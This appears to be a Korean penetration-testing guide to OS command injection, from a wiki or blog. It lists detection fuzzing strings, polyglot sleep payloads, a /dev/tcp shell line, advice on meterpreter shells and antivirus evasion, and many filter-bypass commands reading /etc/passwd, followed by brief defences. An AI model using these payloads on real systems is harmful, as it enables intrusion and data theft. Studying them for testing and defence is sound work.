Introduction
Command Injection은 어플리케이션이 systemcall 등 OS command를 사용하는 부분이 있거나, application단에서 별도의 command를 처리할 수 있는 경우 공격자가 Injection을 통해 의도한 명령을 수행하는 공격 기법을 의미합니다.
Offensive techniques
Detect
소스코드를 볼 수 있는 Whitebox나 Graybox 테스팅에서 exec 등 command 처리를 하는 함수 위주로 분석하면 쉽게 찾을 수 있지만, 온전하게 Blackbox 테스팅을 해야하는 경우 이 구간을 식별하는게 쉽지는 않습니다.
Fuzzing을 통해 Command Injection에 영향을 줄 수 있는 요청을 전송하고, 이에 따른 Response와 Response-time 등을 보고 백엔드에 Command 처리를 하는 부분이 있는지 식별해야합니다.
# Original
/proc?filename=test.txt
# Backend
exec("cat "+filename)
/proc?filename=test.txt`ping -c 5 127.0.0.1`
/proc?filename=test.txt$(ping -c 5 127.0.0.1)
/proc?filename=test.txt|ping -c 5 127.0.0.1|
/proc?filename=test.txt&ping -c 5 127.0.0.1&
/proc?filename=test.txt\nping -c 5 127.0.0.1\n
/proc?filename=test.txt>ping -c 5 127.0.0.1>
/proc?filename=test.txt<ping -c 5 127.0.0.1>
/proc?filename=test.txt-ping -c 5 127.0.0.1
/proc?filename=test.txt;ping -c 5 127.0.0.1;
등...
백엔드에서 filename을 cli로 처리하는 경우 위 특수문자 구문으로 인해 공격자가 의도한 명령 ping -c 5 127.0.0.1
이 수행되면 localhost에 5번 ping을 날리기 때문에 5초의 딜레이가 발생합니다. 이러한 경우 Response time 보고 체크하면 실제 명령이 수행 됬는지 알 수 있습니다.
(개인적으론 Blind RCE 케이스도 많았기 때문에 ping 이나 sleep으로 time 기반 체크하는게 가장 정확했습니다)
때때로 어떤 Application들은 파라미터에서 command 자체를 받는 경우도 있습니다. 이러한 경우는 쉽게 식별이 가능합니다.
/proc?cmd=curl%20api-server.domain/check
Polyglot payload
# case 1
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
# e.g:
echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
# case 2
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
# e.g:
echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/"
echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/'
Exploitation
명령을 실행할 수 있기 때문에 OS의 중요정보를 가져오거나, Shell을 내려서 추가적인 공격을 수행할 수 있습니다. Shell을 내리는 방법에는 여러가지가 있겠지만, 간단하게는 nc 등을 이용해서 linsten 시킨 후 접근하여 쉘을 사용하거나 Metasploit을 사용하여 쉘을 내리는 방법이 있습니다. metasploit의 meterpreter shell을 사용하면 대상 시스템에서 다시 행이동 하기 좋기 때문에 만약 내부 침투까지 진행한다면 meterpreter shell을 추천합니다. (물론 백신에 안걸리게 payload encode를 잘 짜야겠죠)
Bypass protection
Bypass without space
linux
cat</etc/passwd
root:x:0:0:root:/root:/bin/bash
{cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
RCE
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
X=$'uname\x20-a'&&$X
Linux crashlab 4.4.X-XX-generic #72-Ubuntu
sh</dev/tcp/127.0.0.1/4242
IFS=,;`cat<<<uname,-a`
Windows
ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP
Bypass with a line return
something%0Acat%20/etc/passwd
Bypass characters filter via hex encoding
Linux
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"/etc/passwd
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
root:x:0:0:root:/root:/bin/bash
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc
root:x:0:0:root:/root:/bin/bash
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
root:x:0:0:root:/root:/bin/bash
xxd -r -p <<< 2f6574632f706173737764
/etc/passwd
cat `xxd -r -p <<< 2f6574632f706173737764`
root:x:0:0:root:/root:/bin/bash
xxd -r -ps <(echo 2f6574632f706173737764)
/etc/passwd
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
root:x:0:0:root:/root:/bin/bash
Bypass characters filter
echo ${HOME:0:1}
/
cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash
echo . | tr '!-0' '"-1'/
tr '!-0' '"-1' <<< .
/
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
root:x:0:0:root:/root:/bin/bash
Bypass Blacklisted words
single quote
w'h'o'am'i
double quote
w"h"o"am"i
backslash
w\ho\am\i
/\b\i\n/////s\h
$@
who$@ami
echo $0
-> /usr/bin/zsh
echo whoami|$0
???
/???/??t /???/p??s??
test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}
wildcard(*
)
powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
Bypass system hardening (OOB)
RCE의 좋은 탐지 방법 중 하나인 OOB는 때때로 시스템 하드닝에 의해 방해받을 수 있습니다. 이러한 경우 여러가지 도구들을 통해서 HTTP/DNS Query가 발생하도록 유도하여 우회하고 Callback을 받을 수 있습니다. 자세한 내용은 “System Hardening을 피해 RCE를 탐지하기 위한 OOB 방법들” 글을 참고해주세요.
Defensive techniques
보통 서비스에서 systemcall 등을 사용해야 하는 경우 application libarary의 기능을 통해 sandbox 처럼 사용자 입력이 쉘 이후로 넘어가지 못하도록 처리하거나 공격에 사용되는 특수문자를 필터링하는 형태로 대응합니다.
Library protection
// golang의 대표적인 exec 방어 처리
// 이 경우 filename에 아무리 특수문자를 넣어 별도의 명령을 실행하려고 해도 cat 하위의 인자값으로만 처리됩니다.
cmd := exec.Command("cat", filename)
err := cmd.Start()
다만 보통 이러한 과정이 개발에 불편함을 가지기 때문에 명령을 유동적으로 받는 경우 아래와 같이 bash -c
등으로 처리하는 경우도 많습니다. (이러한 경우는 취약하겠죠)
cmd := exec.Command("bash", "-c", afterCmd)
err := cmd.Start()
Escape special chars
특수문자 제한의 경우 공격에 주로 사용되는 특수문자에 대해 제한하는 형태로 처리됩니다.
|
$
(
)
&
|
\r\n
(CRLF)>
<
-
;
- 등
Tools
Articles
- https://www.hahwul.com/2018/05/26/hacking-evasion-technique-using/
- https://www.hahwul.com/2022/03/11/bypass-system-hardening-rce-oob/
References
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection